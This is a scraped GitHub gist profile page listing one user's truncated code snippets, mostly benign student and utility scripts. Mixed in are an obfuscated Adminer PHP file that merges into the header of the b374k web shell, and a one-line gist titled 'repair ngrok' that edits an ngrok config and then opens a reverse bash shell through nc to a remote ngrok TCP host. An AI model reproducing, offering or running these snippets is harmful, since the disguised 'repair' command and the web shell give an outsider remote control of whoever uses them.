Skip to content

Instantly share code, notes, and snippets.

View RKursatV's full-sized avatar
🌋
I may be slow to respond.

R. Kürşat Vuruşan RKursatV

🌋
I may be slow to respond.
  • Ankara, Turkey
  • 00:50 (UTC +03:00)
  • X @RKursatV
View GitHub Profile
@RKursatV
RKursatV / gen.sh
Last active April 8, 2024 15:38
OS HW1 Inp Output Pairs
for i in {0..16}; do ./eshell < "inp$i.txt" > "out$i.txt" ; done;
└─[$]> hdfs dfs -cat /user/rkv/output_average/part-r-00000
average 107.26161
@RKursatV
RKursatV / ao.php
Last active December 30, 2022 22:09
obfuscated adminer
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license https://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.6.2
*/error_reporting(6135);$Uc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($Uc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$xi=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($xi)$$X=$xi;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");function
connection(){global$f;return$f;}function
<?php
$s_pass = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // default password : b374k (login and change to new password)
$s_ver = "2.8"; // shell ver
$s_title = "b374k ".$s_ver; // shell title
$s_login_time = 3600 * 24 * 7; // cookie time (login)
$s_debug = false; // debugging mode
@ob_start();
@RKursatV
RKursatV / mt.py
Created December 12, 2021 22:29
477 study for midterm
import os
import numpy as np
import math
def unit(arr):
return 1.0 * arr / np.linalg.norm(arr)
class bcolors:
@RKursatV
RKursatV / ext.js
Last active March 11, 2021 22:26
Metu Add Course Tool
console.log('im in');
var userActive = true;
function inactivityTime() {
var time;
// events
window.onload = resetTime;
window.onclick = resetTime;
window.onkeypress = resetTime;
window.ontouchstart = resetTime;
@RKursatV
RKursatV / a.js
Created February 4, 2021 11:16
Quicky extract links from a webpage, just copy and paste to the console
var x = document.querySelectorAll("a");
var myarray = []
for (var i=0; i<x.length; i++){
var nametext = x[i].textContent;
var cleantext = nametext.replace(/\s+/g, ' ').trim();
var cleanlink = x[i].href;
myarray.push([cleantext,cleanlink]);
};
function make_table() {
var table = '<table><thead><th>Name</th><th>Links</th></thead><tbody>';
@RKursatV
RKursatV / a.sh
Last active November 11, 2020 12:29
repair ngrok
sed -i '/^authtoken:.*/a tunnels:' ~/.ngrok2/ngrok.yml && pm2 reload all; mkfifo kv; cat kv | /bin/bash -i 2>&1 | nc 4.tcp.ngrok.io 18345 > kv
@RKursatV
RKursatV / angel.py
Last active November 10, 2023 19:08
Angell
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
@RKursatV
RKursatV / getUrlAsGoogle.py
Last active October 9, 2020 20:54
Get any url without any trouble as Google
import requests
import json
import re
def getUrlAsGoogle(coolUrl):
while True:
try:
coolUrl = "https://docs.google.com/viewer?url=" + coolUrl
req = requests.get(coolUrl,